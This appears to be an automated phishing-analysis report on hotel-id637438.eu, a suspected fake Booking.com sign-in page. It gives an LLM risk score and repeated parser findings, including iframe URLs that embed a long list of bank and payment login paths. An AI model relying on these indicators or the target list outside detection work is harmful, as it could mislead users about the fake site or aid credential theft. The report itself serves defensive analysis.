Source: https://hotel-id637438.eu	LLM: Score: 8 brands: Booking.com Reasons: The URL 'https://hotel-id637438.eu' is suspicious because it does not match the legitimate domain 'booking.com' associated with the brand Booking.com. The webpage has a prominent login form, which is a common feature in phishing sites to capture user credentials. There is no CAPTCHA present, which is often used in legitimate sites to prevent automated attacks. The use of a subdomain and a different top-level domain (TLD) is a common social usering technique to mislead users into thinking the site is legitimate. Given these factors, the site is highly likely to be a phishing site. DOM: 0.3.pages.csv

Source: https://hotel-id637438.eu/sign-in	HTTP Parser: Iframe src: https://asanalytics.booking.com/6yFbqsm22MwVp7dS?9f7dc4f62040b7f5=43NhMsJoiGjspx3UGyuW2igfdzPhTh-bI2ljuC4L0gw2UjT8hsG94euhGRfKP9eOam9T7uBAy9IPdzvpWV43x-0yWrV7SF2vrY-yHQTtHuctnbAstGyJPLEKVRf-mFFdOnx36jYmO01Etm7LTPzYqd9HP94&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/CapitalOne_Consumer/Transactionsxcbonline.co.uk/ralu/reglm-web/setupSecurityQuestionPagexcibc.comxPreSignOnxcibc.comxSignOnxcitibank.ru/xclient.uralsibbank.ruxco-operativebank.co.uk/CBIBSWeb/loginSpixcommerceonlinebanking.comxcoventrybuildingsociety.co.ukxdeutsche-bank.dexdiscovercard.com/cardmembersvcs/strongauth/app/sa_mainxebanking.bawag.comxebc_ebc1961xegg.com/customer/movemoneyxegg.com/customer/yourmoneyxfacebook.com/xhalifax-online.co.ukxMyAccountsxhalifax-online.co.uk/x/Mhalifax-online.co.uk/personalxhsbc.co.uk/1/2/personal/internet-banking/xhsbc.comxhttps://banking.postbank.de/app/finanzstatus.init.do;jsessionidxib.fineco.it/FinecoWeb/BonificiServletxib.fineco.it/FinecoWeb/jsp/Main/HBFineco.jspxib.fineco.it/FinecoWeb/jsp/Main/Principale.jspxibank.alfabank.ruxin-biz.it/xipko.plxlibertyreserve.com/x/historylibertyreserve.com/x/loginwww.libertyreserve.com/x/Core.jswww.libertyreserve.com/x/transfer.libertyreserve.com/x/commonscript.jslloydstsb.co.uk/personal/a/account_overview/xmbna.co.ukxmenyala.ruxmoney.yandex.ruxmoneybookers.com/app/login.plxmoneymail.ruxmy.ebay.co.uk/ws/eBayISAPI.dll?MyEbayxmy.ebay.com/ws/eBayISAPI.dll?MyEbayxmy.ebay.fr/ws/eBayISAPI.dll?MyEbayxmybusinessbank.co.ukxnationet.com/AppServices/SignOn/SignOnProcess/RcaSignOnxnpbs.co.ukxnwolb.com/AccountSummaryxnwolb.com/Statementsxnwolb.com/TransfersLandingPagexoltx.fidelity.com/x/x/ofsummary/summaryxonline.lloydstsb.co.ukxonlinebanking.mandtbank.com/summary/AccountSummaryxpassport.yandex.ruxpaypal.com/x/cgi-bin/webscr?cmd=_accountxpaypal.com/x/cgi-bin/webscr?cmd=_login-done&login_access=xpaypal.com/us/cgi-bin/webscr?cmd=_login-done&login_access=xposte.it/xpsk.co.at/xsecure.lloydstsb.co.uk/personal/a/account_overviewxsmile.co.uk/SmileWeb/passcodexusaa.com/xusbank.com/internetBanking/RequestRouter?requestCmdId=Gxwachovia.comxybonline.co.uk/ralu/reglm-web/setupSecurityQuestionPagex.amazon.fr/xhistory/orders/view.htmlx.banquepopulaire.frxShowPortal.dox.bnpparibasfortis.bexHome_
Source: https://hotel-id637438.eu/sign-in	HTTP Parser: Iframe src: https://ls.cdn-gw-dv.vip/dedge/zd/zd-service.html
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg	HTTP Parser: Iframe src: https://ls.cdn-gw-dv.vip/dedge/zd/zd-service.html
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg	HTTP Parser: Iframe src: https://asanalytics.booking.com/caAI2ZRd6USMpKUj?24acc16ef443d8ba=uP7cJ2AVns1muzDkC80g_Rj1AimEBVfqpwBvp-xeIJa-SVci_MDXdqrMSaKZMUvZoeHZPWhj8o6J4NRtJ9Vh__BAT-9nbR_B8mleEGPFlLJOA2g-MjjxP3zohfcTr6fQhdklvPRwy8y49KF1bTLyA0aqJos&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/CapitalOne_Consumer/Transactionsxcbonline.co.uk/ralu/reglm-web/setupSecurityQuestionPagexcibc.comxPreSignOnxcibc.comxSignOnxcitibank.ru/xclient.uralsibbank.ruxco-operativebank.co.uk/CBIBSWeb/loginSpixcommerceonlinebanking.comxcoventrybuildingsociety.co.ukxdeutsche-bank.dexdiscovercard.com/cardmembersvcs/strongauth/app/sa_mainxebanking.bawag.comxebc_ebc1961xegg.com/customer/movemoneyxegg.com/customer/yourmoneyxfacebook.com/xhalifax-online.co.ukxMyAccountsxhalifax-online.co.uk/x/Mhalifax-online.co.uk/personalxhsbc.co.uk/1/2/personal/internet-banking/xhsbc.comxhttps://banking.postbank.de/app/finanzstatus.init.do;jsessionidxib.fineco.it/FinecoWeb/BonificiServletxib.fineco.it/FinecoWeb/jsp/Main/HBFineco.jspxib.fineco.it/FinecoWeb/jsp/Main/Principale.jspxibank.alfabank.ruxin-biz.it/xipko.plxlibertyreserve.com/x/historylibertyreserve.com/x/loginwww.libertyreserve.com/x/Core.jswww.libertyreserve.com/x/transfer.libertyreserve.com/x/commonscript.jslloydstsb.co.uk/personal/a/account_overview/xmbna.co.ukxmenyala.ruxmoney.yandex.ruxmoneybookers.com/app/login.plxmoneymail.ruxmy.ebay.co.uk/ws/eBayISAPI.dll?MyEbayxmy.ebay.com/ws/eBayISAPI.dll?MyEbayxmy.ebay.fr/ws/eBayISAPI.dll?MyEbayxmybusinessbank.co.ukxnationet.com/AppServices/SignOn/SignOnProcess/RcaSignOnxnpbs.co.ukxnwolb.com/AccountSummaryxnwolb.com/Statementsxnwolb.com/TransfersLandingPagexoltx.fidelity.com/x/x/ofsummary/summaryxonline.lloydstsb.co.ukxonlinebanking.mandtbank.com/summary/AccountSummaryxpassport.yandex.ruxpaypal.com/x/cgi-bin/webscr?cmd=_accountxpaypal.com/x/cgi-bin/webscr?cmd=_login-done&login_access=xpaypal.com/us/cgi-bin/webscr?cmd=_login-done&login_access=xposte.it/xpsk.co.at/xsecure.lloydstsb.co.uk/personal/a/account_overviewxsmile.co.uk/SmileWeb/passcodexusaa.com/xusbank.com/internetBanking/RequestRouter?requestCmdId=Gxwachovia.comxybonline.co.uk/ralu/reglm-web/setupSecurityQuestionPagex.amazon.fr/xhistory/orders/view.htmlx.banquepopulaire.frxShowPortal.dox.bnpparibasfortis.bexHome_
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg	HTTP Parser: Iframe src: https://ls.cdn-gw-dv.vip/dedge/zd/zd-service.html
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg	HTTP Parser: Iframe src: https://asanalytics.booking.com/caAI2ZRd6USMpKUj?24acc16ef443d8ba=uP7cJ2AVns1muzDkC80g_Rj1AimEBVfqpwBvp-xeIJa-SVci_MDXdqrMSaKZMUvZoeHZPWhj8o6J4NRtJ9Vh__BAT-9nbR_B8mleEGPFlLJOA2g-MjjxP3zohfcTr6fQhdklvPRwy8y49KF1bTLyA0aqJos&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/CapitalOne_Consumer/Transactionsxcbonline.co.uk/ralu/reglm-web/setupSecurityQuestionPagexcibc.comxPreSignOnxcibc.comxSignOnxcitibank.ru/xclient.uralsibbank.ruxco-operativebank.co.uk/CBIBSWeb/loginSpixcommerceonlinebanking.comxcoventrybuildingsociety.co.ukxdeutsche-bank.dexdiscovercard.com/cardmembersvcs/strongauth/app/sa_mainxebanking.bawag.comxebc_ebc1961xegg.com/customer/movemoneyxegg.com/customer/yourmoneyxfacebook.com/xhalifax-online.co.ukxMyAccountsxhalifax-online.co.uk/x/Mhalifax-online.co.uk/personalxhsbc.co.uk/1/2/personal/internet-banking/xhsbc.comxhttps://banking.postbank.de/app/finanzstatus.init.do;jsessionidxib.fineco.it/FinecoWeb/BonificiServletxib.fineco.it/FinecoWeb/jsp/Main/HBFineco.jspxib.fineco.it/FinecoWeb/jsp/Main/Principale.jspxibank.alfabank.ruxin-biz.it/xipko.plxlibertyreserve.com/x/historylibertyreserve.com/x/loginwww.libertyreserve.com/x/Core.jswww.libertyreserve.com/x/transfer.libertyreserve.com/x/commonscript.jslloydstsb.co.uk/personal/a/account_overview/xmbna.co.ukxmenyala.ruxmoney.yandex.ruxmoneybookers.com/app/login.plxmoneymail.ruxmy.ebay.co.uk/ws/eBayISAPI.dll?MyEbayxmy.ebay.com/ws/eBayISAPI.dll?MyEbayxmy.ebay.fr/ws/eBayISAPI.dll?MyEbayxmybusinessbank.co.ukxnationet.com/AppServices/SignOn/SignOnProcess/RcaSignOnxnpbs.co.ukxnwolb.com/AccountSummaryxnwolb.com/Statementsxnwolb.com/TransfersLandingPagexoltx.fidelity.com/x/x/ofsummary/summaryxonline.lloydstsb.co.ukxonlinebanking.mandtbank.com/summary/AccountSummaryxpassport.yandex.ruxpaypal.com/x/cgi-bin/webscr?cmd=_accountxpaypal.com/x/cgi-bin/webscr?cmd=_login-done&login_access=xpaypal.com/us/cgi-bin/webscr?cmd=_login-done&login_access=xposte.it/xpsk.co.at/xsecure.lloydstsb.co.uk/personal/a/account_overviewxsmile.co.uk/SmileWeb/passcodexusaa.com/xusbank.com/internetBanking/RequestRouter?requestCmdId=Gxwachovia.comxybonline.co.uk/ralu/reglm-web/setupSecurityQuestionPagex.amazon.fr/xhistory/orders/view.htmlx.banquepopulaire.frxShowPortal.dox.bnpparibasfortis.bexHome_
Source: https://account.booking.com/register?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg	HTTP Parser: Iframe src: https://ls.cdn-gw-dv.vip/dedge/zd/zd-service.html
Source: https://account.booking.com/register?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg	HTTP Parser: Iframe src: https://ls.cdn-gw-dv.vip/dedge/zd/zd-service.html
Source: https://account.booking.com/register?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg	HTTP Parser: Iframe src: https://ls.cdn-gw-dv.vip/dedge/zd/zd-service.html
Source: https://account.booking.com/register?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg	HTTP Parser: Iframe src: https://asanalytics.booking.com/fBXsAwu1ZcGIZxeR?9d7279c46667beaf=OT-JPJ6D-JjjU0FWn4z3WBC5KuBnKWyErR2ZABsf1U-Ybw8Gaq8b0MMNPUJRsrN7H_WFKU4MFtz2brKkvZcqGFqBce38CKZCrZnkqs66v8NMgUWc9hYoGPBM7IgXqIbUe_05X-WRZapnBuN8euFmhKlf3is&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/CapitalOne_Consumer/Transactionsxcbonline.co.uk/ralu/reglm-web/setupSecurityQuestionPagexcibc.comxPreSignOnxcibc.comxSignOnxcitibank.ru/xclient.uralsibbank.ruxco-operativebank.co.uk/CBIBSWeb/loginSpixcommerceonlinebanking.comxcoventrybuildingsociety.co.ukxdeutsche-bank.dexdiscovercard.com/cardmembersvcs/strongauth/app/sa_mainxebanking.bawag.comxebc_ebc1961xegg.com/customer/movemoneyxegg.com/customer/yourmoneyxfacebook.com/xhalifax-online.co.ukxMyAccountsxhalifax-online.co.uk/x/Mhalifax-online.co.uk/personalxhsbc.co.uk/1/2/personal/internet-banking/xhsbc.comxhttps://banking.postbank.de/app/finanzstatus.init.do;jsessionidxib.fineco.it/FinecoWeb/BonificiServletxib.fineco.it/FinecoWeb/jsp/Main/HBFineco.jspxib.fineco.it/FinecoWeb/jsp/Main/Principale.jspxibank.alfabank.ruxin-biz.it/xipko.plxlibertyreserve.com/x/historylibertyreserve.com/x/loginwww.libertyreserve.com/x/Core.jswww.libertyreserve.com/x/transfer.libertyreserve.com/x/commonscript.jslloydstsb.co.uk/personal/a/account_overview/xmbna.co.ukxmenyala.ruxmoney.yandex.ruxmoneybookers.com/app/login.plxmoneymail.ruxmy.ebay.co.uk/ws/eBayISAPI.dll?MyEbayxmy.ebay.com/ws/eBayISAPI.dll?MyEbayxmy.ebay.fr/ws/eBayISAPI.dll?MyEbayxmybusinessbank.co.ukxnationet.com/AppServices/SignOn/SignOnProcess/RcaSignOnxnpbs.co.ukxnwolb.com/AccountSummaryxnwolb.com/Statementsxnwolb.com/TransfersLandingPagexoltx.fidelity.com/x/x/ofsummary/summaryxonline.lloydstsb.co.ukxonlinebanking.mandtbank.com/summary/AccountSummaryxpassport.yandex.ruxpaypal.com/x/cgi-bin/webscr?cmd=_accountxpaypal.com/x/cgi-bin/webscr?cmd=_login-done&login_access=xpaypal.com/us/cgi-bin/webscr?cmd=_login-done&login_access=xposte.it/xpsk.co.at/xsecure.lloydstsb.co.uk/personal/a/account_overviewxsmile.co.uk/SmileWeb/passcodexusaa.com/xusbank.com/internetBanking/RequestRouter?requestCmdId=Gxwachovia.comxybonline.co.uk/ralu/reglm-web/setupSecurityQuestionPagex.amazon.fr/xhistory/orders/view.htmlx.banquepopulaire.frxShowPortal.dox.bnpparibasfortis.bexHome_

Source: https://hotel-id637438.eu/sign-in	HTTP Parser: Number of links: 0
Source: https://asanalytics.booking.com/6yFbqsm22MwVp7dS?9f7dc4f62040b7f5=43NhMsJoiGjspx3UGyuW2igfdzPhTh-bI2ljuC4L0gw2UjT8hsG94euhGRfKP9eOam9T7uBAy9IPdzvpWV43x-0yWrV7SF2vrY-yHQTtHuctnbAstGyJPLEKVRf-mFFdOnx36jYmO01Etm7LTPzYqd9HP94&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/CapitalOne_Co...	HTTP Parser: Number of links: 0
Source: https://asanalytics.booking.com/caAI2ZRd6USMpKUj?24acc16ef443d8ba=uP7cJ2AVns1muzDkC80g_Rj1AimEBVfqpwBvp-xeIJa-SVci_MDXdqrMSaKZMUvZoeHZPWhj8o6J4NRtJ9Vh__BAT-9nbR_B8mleEGPFlLJOA2g-MjjxP3zohfcTr6fQhdklvPRwy8y49KF1bTLyA0aqJos&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/CapitalOne_Co...	HTTP Parser: Number of links: 0
Source: https://asanalytics.booking.com/fBXsAwu1ZcGIZxeR?9d7279c46667beaf=OT-JPJ6D-JjjU0FWn4z3WBC5KuBnKWyErR2ZABsf1U-Ybw8Gaq8b0MMNPUJRsrN7H_WFKU4MFtz2brKkvZcqGFqBce38CKZCrZnkqs66v8NMgUWc9hYoGPBM7IgXqIbUe_05X-WRZapnBuN8euFmhKlf3is&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/CapitalOne_Co...	HTTP Parser: Number of links: 0

Source: https://hotel-id637438.eu/sign-in	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://asanalytics.booking.com/6yFbqsm22MwVp7dS?9f7dc4f62040b7f5=43NhMsJoiGjspx3UGyuW2igfdzPhTh-bI2ljuC4L0gw2UjT8hsG94euhGRfKP9eOam9T7uBAy9IPdzvpWV43x-0yWrV7SF2vrY-yHQTtHuctnbAstGyJPLEKVRf-mFFdOnx36jYmO01Etm7LTPzYqd9HP94&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/CapitalOne_Co...	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://asanalytics.booking.com/caAI2ZRd6USMpKUj?24acc16ef443d8ba=uP7cJ2AVns1muzDkC80g_Rj1AimEBVfqpwBvp-xeIJa-SVci_MDXdqrMSaKZMUvZoeHZPWhj8o6J4NRtJ9Vh__BAT-9nbR_B8mleEGPFlLJOA2g-MjjxP3zohfcTr6fQhdklvPRwy8y49KF1bTLyA0aqJos&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/CapitalOne_Co...	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://asanalytics.booking.com/fBXsAwu1ZcGIZxeR?9d7279c46667beaf=OT-JPJ6D-JjjU0FWn4z3WBC5KuBnKWyErR2ZABsf1U-Ybw8Gaq8b0MMNPUJRsrN7H_WFKU4MFtz2brKkvZcqGFqBce38CKZCrZnkqs66v8NMgUWc9hYoGPBM7IgXqIbUe_05X-WRZapnBuN8euFmhKlf3is&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/CapitalOne_Co...	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://hotel-id637438.eu/sign-in	HTTP Parser: Title: Booking.com does not match URL
Source: https://asanalytics.booking.com/6yFbqsm22MwVp7dS?9f7dc4f62040b7f5=43NhMsJoiGjspx3UGyuW2igfdzPhTh-bI2ljuC4L0gw2UjT8hsG94euhGRfKP9eOam9T7uBAy9IPdzvpWV43x-0yWrV7SF2vrY-yHQTtHuctnbAstGyJPLEKVRf-mFFdOnx36jYmO01Etm7LTPzYqd9HP94&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/CapitalOne_Co...	HTTP Parser: Title: empty does not match URL
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg	HTTP Parser: Title: Booking.com does not match URL
Source: https://asanalytics.booking.com/caAI2ZRd6USMpKUj?24acc16ef443d8ba=uP7cJ2AVns1muzDkC80g_Rj1AimEBVfqpwBvp-xeIJa-SVci_MDXdqrMSaKZMUvZoeHZPWhj8o6J4NRtJ9Vh__BAT-9nbR_B8mleEGPFlLJOA2g-MjjxP3zohfcTr6fQhdklvPRwy8y49KF1bTLyA0aqJos&hp=.co-operativebank.co.uk/CBIBSWeb/login.do.co-operativebank.co.uk/CBIBSWeb/start.do.de/portal/portal/x.entropay.com/basemenu/prot/x.facebook.comx.nationet.com/x.netbank.commbank.com.au/netbank/bankmainx.npbs.co.uk/netmastergoldbanking/x.nwolb.xlogin.aspx?refereridentx.rbsdigital.xAccountSummaryx.smile.co.uk/SmileWeb/login.do.smile.co.uk/SmileWeb/start.do.yandex.rux/CapitalOne_Consumer/x/easypay.by/x/sbank.ru/x53.com/servlet/efsonlinex://online.wellsfargo.com/x://secure.assist.ru/assistid/protected/main.doxabbeynational.co.uk/EBAN_ENS/BtoChannelDriverxalliance-leicesterxaltergold.com/login.phpxamericanexpress.com/myca/intl/acctsumm/emea/accountSummaryxbancaintesa.it/xbankcardservices.co.ukxbankofamerica.com/xbanquepopulaire.fr/xbnpparibas.net/xcahoot.comxcapitaloneonline.co.uk/CapitalOne_